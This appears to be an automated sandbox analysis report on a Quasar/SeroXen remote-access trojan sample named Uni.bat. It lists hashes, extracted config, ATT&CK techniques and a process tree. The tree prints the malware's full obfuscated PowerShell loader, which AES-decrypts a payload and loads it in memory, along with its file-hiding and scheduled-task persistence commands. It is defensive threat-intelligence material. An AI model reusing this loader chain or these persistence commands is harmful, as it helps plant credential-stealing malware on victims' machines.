quasar | 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b

Analysis

max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 10.1MB
Sample260528-dd219aes7k
SHA256 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b
MD5 3b93e29d6cf2813f5dd3c9ae380acc4f
SHA1 98cf06eb797a3ad94dc9fb44ae758fcbab1e0c53
SHA512 4b830a87f277816fb86de435787f7c7b6083d7bd9d8ad88f10086c9fc6a8a7c205145d7b2d23eddd91f7ef9d440684b3d3bfb96a66ca13d86dca86cef3b82a1e
SSDEEP 49152:s6f3cj3cw0fch3L6wcNWcw0flyOoRCKzGKzXbCzsK+RXzodzXbCakBUAfVweb6TU:2
TLSH
T12BB6123E4E278D3F87BC23AC35BC0B8A79589A144376489E27A45DCE9FC770620D6C56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

seroxen defense_evasion discovery execution quasar persistence spyware stealer trojan

Malware Config

Extracted

Family

quasar

Version

15.5.0

Botnet

SeroXen

127.0.0.1:1414

Mutex

43778e33-6e95-4120-85f8-de7b6beca9a7

Attributes

encryption_key
1DB1C75433B0814D6A687DC846553894FE0103F0
install_name
$sxr-cmd.bat
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
$Sxr-logs
reconnect_delay
3000
startup_key
$sxr-seroxen
subdirectory
$sxr-seroxen1

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2000-44-0x000002C1D0090000-0x000002C1D03E0000-memory.dmp	family_quasar

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	Uni.bat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2000	Uni.bat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\$Sxr-recovery	attrib.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File created	C:\Windows\Setup\Scripts\SetupComplete.cmd	Uni.bat.exe
File opened for modification	C:\Windows\Setup\Scripts	attrib.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Setup\Scripts\SetupComplete.cmd	attrib.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3376	PING.EXE
1264	PING.EXE
2592	PING.EXE
848	PING.EXE

Runs net.exe

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
848	PING.EXE
3376	PING.EXE
1264	PING.EXE
2592	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4484	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
400	powershell.exe
400	powershell.exe
2000	Uni.bat.exe
2000	Uni.bat.exe
556	powershell.exe
556	powershell.exe
3132	SetupComplete.cmd.exe
3132	SetupComplete.cmd.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	2000	Uni.bat.exe
Token: SeTakeOwnershipPrivilege	1464	reagentc.exe
Token: SeDebugPrivilege	556	powershell.exe
Token: SeDebugPrivilege	3132	SetupComplete.cmd.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2000	Uni.bat.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 400	3900	cmd.exe	81
PID 400 wrote to memory of 728	400	powershell.exe	82
PID 728 wrote to memory of 2536	728	csc.exe	83
PID 3900 wrote to memory of 3376	3900	cmd.exe	84
PID 3900 wrote to memory of 1264	3900	cmd.exe	85
PID 3900 wrote to memory of 3680	3900	cmd.exe	86
PID 3680 wrote to memory of 1628	3680	net.exe	87
PID 3900 wrote to memory of 2000	3900	cmd.exe	88
PID 2000 wrote to memory of 2308	2000	Uni.bat.exe	89
PID 2000 wrote to memory of 1588	2000	Uni.bat.exe	90
PID 2000 wrote to memory of 2580	2000	Uni.bat.exe	92
PID 2000 wrote to memory of 4076	2000	Uni.bat.exe	94
PID 2000 wrote to memory of 5032	2000	Uni.bat.exe	96
PID 2000 wrote to memory of 3800	2000	Uni.bat.exe	98
PID 2000 wrote to memory of 3736	2000	Uni.bat.exe	100
PID 2000 wrote to memory of 2872	2000	Uni.bat.exe	102
PID 2000 wrote to memory of 896	2000	Uni.bat.exe	104
PID 2000 wrote to memory of 1608	2000	Uni.bat.exe	106
PID 2000 wrote to memory of 3556	2000	Uni.bat.exe	108
PID 2000 wrote to memory of 3416	2000	Uni.bat.exe	110
PID 2000 wrote to memory of 1876	2000	Uni.bat.exe	112
PID 2000 wrote to memory of 1980	2000	Uni.bat.exe	114
PID 2000 wrote to memory of 1464	2000	Uni.bat.exe	116
PID 2000 wrote to memory of 3472	2000	Uni.bat.exe	118
PID 2000 wrote to memory of 4888	2000	Uni.bat.exe	120
PID 2000 wrote to memory of 4416	2000	Uni.bat.exe	122
PID 2000 wrote to memory of 4484	2000	Uni.bat.exe	124
PID 2000 wrote to memory of 1636	2000	Uni.bat.exe	126
PID 556 wrote to memory of 2824	556	powershell.exe	130
PID 2824 wrote to memory of 3136	2824	csc.exe	131
PID 5076 wrote to memory of 4456	5076	net.exe	135
PID 3132 wrote to memory of 4108	3132	SetupComplete.cmd.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 16 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3416	attrib.exe
5032	attrib.exe
1876	attrib.exe
3472	attrib.exe
4416	attrib.exe
1636	attrib.exe
4076	attrib.exe
2872	attrib.exe
896	attrib.exe
3556	attrib.exe
3800	attrib.exe
1608	attrib.exe
4888	attrib.exe
1588	attrib.exe
2580	attrib.exe
3736	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -noprofile -executionpolicy bypass -EncodedCommand dAByAHkAewBBAGQAZAAtAFQAeQBwAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAXwB1AFAAcABwAHAAVQAgAC0ATgBhAG0AZQAgAF8AcwBSAHMAQwB2AGkAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAIABHAGUAdABDAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABTAHkAcwB0AGUAbQAuAEkAbgB0AFAAdAByACAAaAAsAGkAbgB0ACAAbgApADsAJwA7ACQAXwBfAGgAPQBbAF8AdQBQAHAAcABwAFUALgBfAHMAUgBzAEMAdgBpAF0AOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAF8AXwBoACAALQBhAG4AZAAgACQAXwBfAGgAIAAtAG4AZQAgAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAHsAWwB2AG8AaQBkAF0AWwBfAHUAUABwAHAAcABVAC4AXwBzAFIAcwBDAHYAaQBdADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABfAF8AaAAsADAAKQB9AH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3F75.tmp" "c:\Users\Admin\AppData\Local\Temp\t3joqfcp\CSC3EFA9886F9454D79B7222448D35E71BA.TMP"
      4⤵
      PID:2536
- C:\Windows\system32\PING.EXE
  ping -n 14 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3376
- C:\Windows\system32\PING.EXE
  ping -n 2 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:1264
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1628
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command try{Add-Type -Namespace _uJorsE -Name _VIhWvL -MemberDefinition '[DllImport("kernel32.dll")]public static extern System.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(System.IntPtr h,int n);' -ErrorAction SilentlyContinue;$__h=[_uJorsE._VIhWvL]::GetConsoleWindow();if($__h -ne [IntPtr]::Zero){[void][_uJorsE._VIhWvL]::ShowWindow($__h,0)}}catch{};$uIEgt = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($WXYbx in $uIEgt) { if ($WXYbx.StartsWith(':: ')) { $Xmaik = $WXYbx.Substring(3); break; }; };$CjCkr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Xmaik);$VaYqP = New-Object System.Security.Cryptography.AesManaged;$VaYqP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VaYqP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VaYqP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MTSY1UPvMm0w/qUN7w9dICZ8uUJg6r4+mRB4pwDWZQU=');$VaYqP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gBf+QrLij3B4KrBWAYWMOA==');$btqsa = $VaYqP.CreateDecryptor();$CjCkr = $btqsa.TransformFinalBlock($CjCkr, 0, $CjCkr.Length);$btqsa.Dispose();$VaYqP.Dispose();$oAmpW = New-Object System.IO.MemoryStream(, $CjCkr);$OMmGs = New-Object System.IO.MemoryStream;$dKvjz = New-Object System.IO.Compression.GZipStream($oAmpW, [IO.Compression.CompressionMode]::Decompress);$dKvjz.CopyTo($OMmGs);$dKvjz.Dispose();$oAmpW.Dispose();$OMmGs.Dispose();$CjCkr = $OMmGs.ToArray();$nxurD = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($CjCkr);$Okseb = $nxurD.EntryPoint;$Okseb.Invoke($null, (, [string[]] ('')))
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zpk0zj0p\zpk0zj0p.cmdline"
    3⤵
    PID:2308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:1588
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"
    3⤵
    - Views/modifies file attributes
    PID:2580
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:4076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$Sxr-logs"
    3⤵
    - Views/modifies file attributes
    PID:5032
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Windows\Setup\Scripts"
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:3800
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:3736
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Windows\Setup\Scripts\SetupComplete.cmd"
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:2872
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"
    3⤵
    - Views/modifies file attributes
    PID:896
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "F:\Windows\Setup\Scripts"
    3⤵
    - Views/modifies file attributes
    PID:1608
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:3556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "F:\Windows\Setup\Scripts\SetupComplete.cmd"
    3⤵
    - Views/modifies file attributes
    PID:3416
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:1876
- - C:\Windows\system32\reagentc.exe
    "C:\Windows\system32\reagentc.exe" /info
    3⤵
    - Drops file in Windows directory
    PID:1980
- - C:\Windows\system32\reagentc.exe
    "C:\Windows\system32\reagentc.exe" /enable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$Sxr-logs"
    3⤵
    - Views/modifies file attributes
    PID:3472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:4888
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:4416
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /TN "Microsoft\Windows\$Sxr-recovery\ResetNotify" /TR "C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4484
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Windows\System32\Tasks\Microsoft\Windows\$Sxr-recovery"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -noprofile -executionpolicy bypass -EncodedCommand dAByAHkAewBBAGQAZAAtAFQAeQBwAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAXwB1AFAAcABwAHAAVQAgAC0ATgBhAG0AZQAgAF8AcwBSAHMAQwB2AGkAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAIABHAGUAdABDAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABTAHkAcwB0AGUAbQAuAEkAbgB0AFAAdAByACAAaAAsAGkAbgB0ACAAbgApADsAJwA7ACQAXwBfAGgAPQBbAF8AdQBQAHAAcABwAFUALgBfAHMAUgBzAEMAdgBpAF0AOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAF8AXwBoACAALQBhAG4AZAAgACQAXwBfAGgAIAAtAG4AZQAgAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAHsAWwB2AG8AaQBkAF0AWwBfAHUAUABwAHAAcABVAC4AXwBzAFIAcwBDAHYAaQBdADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABfAF8AaAAsADAAKQB9AH0AYwBhAHQAYwBoAHsAfQA=
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\14f0nolz\14f0nolz.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F58.tmp" "c:\Users\Admin\AppData\Local\Temp\14f0nolz\CSCB82169074654D9DB7558BD604BC111.TMP"
    3⤵
    PID:3136

C:\Windows\system32\PING.EXE
ping -n 14 127.0.0.1
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2592

C:\Windows\system32\PING.EXE
ping -n 2 127.0.0.1
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:848

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:4456

C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd.exe
"SetupComplete.cmd.exe" -noprofile -windowstyle hidden -ep bypass -command try{Add-Type -Namespace _uJorsE -Name _VIhWvL -MemberDefinition '[DllImport("kernel32.dll")]public static extern System.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(System.IntPtr h,int n);' -ErrorAction SilentlyContinue;$__h=[_uJorsE._VIhWvL]::GetConsoleWindow();if($__h -ne [IntPtr]::Zero){[void][_uJorsE._VIhWvL]::ShowWindow($__h,0)}}catch{};$uIEgt = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd').Split([Environment]::NewLine);foreach ($WXYbx in $uIEgt) { if ($WXYbx.StartsWith(':: ')) { $Xmaik = $WXYbx.Substring(3); break; }; };$CjCkr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Xmaik);$VaYqP = New-Object System.Security.Cryptography.AesManaged;$VaYqP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VaYqP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VaYqP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MTSY1UPvMm0w/qUN7w9dICZ8uUJg6r4+mRB4pwDWZQU=');$VaYqP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gBf+QrLij3B4KrBWAYWMOA==');$btqsa = $VaYqP.CreateDecryptor();$CjCkr = $btqsa.TransformFinalBlock($CjCkr, 0, $CjCkr.Length);$btqsa.Dispose();$VaYqP.Dispose();$oAmpW = New-Object System.IO.MemoryStream(, $CjCkr);$OMmGs = New-Object System.IO.MemoryStream;$dKvjz = New-Object System.IO.Compression.GZipStream($oAmpW, [IO.Compression.CompressionMode]::Decompress);$dKvjz.CopyTo($OMmGs);$dKvjz.Dispose();$oAmpW.Dispose();$OMmGs.Dispose();$CjCkr = $OMmGs.ToArray();$nxurD = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($CjCkr);$Okseb = $nxurD.EntryPoint;$Okseb.Invoke($null, (, [string[]] ('')))
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3132
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4o4ehs0u\4o4ehs0u.cmdline"
  2⤵
  PID:4108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

14f0nolz.dll

Path C:\Users\Admin\AppData\Local\Temp\14f0nolz\14f0nolz.dll
Size 3KB
SHA256 24f4d3f9b05328e7ca1654faacf701e5097cb37a157756abfbd9cf187ff682ce
MD5 d6e4c75bd858106d793331e2de6c6521
SHA1 fe970f33f89bed3d56d7a924b34b87bc9f955a76
SHA512 08713ebfd1eaacee84732aca13627feafc9dc1c5477d8aee8c51a5d58f498d92ff224a3af3ebf9d0452c2625c14a360934aec5c5f7eba67bc98eaab8c4da58b7
TLSH
T1B151C12A53E94627E4730B30AEE343273BF4FC149F735359598042196C653649E36BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES3F75.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3F75.tmp
Size 1KB
SHA256 bba419bcf7bd20be34399d989b72c2d929ce7998eb8afa7e6dc3600cade37fd9
MD5 c4fda2a60ac6e9a20fb02c71d092e9f5
SHA1 8ebec5b2799bfc77007c40094b0d05ac308e174d
SHA512 4d02d59111d42065c891efe4e1e894fbb4e8564711678840356a38943b151590d6c5a220aa229b9311266ce32fca3319779e883e8e93f36f5c658193d649e1cf
TLSH
T19221CC1193F9871EF0774731A9F6172BA238FD64EFA2975B8500422C1C40608EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES9F58.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9F58.tmp
Size 1KB
SHA256 a72ba4c5001967dd895c682198e5f6fe7c43a20a32e313a6b99cfd3d17cb7903
MD5 0e76376db60b92eaf75f327b5cd96d06
SHA1 6d1e111cd86742438aa0837d94bbe3a22a919a0f
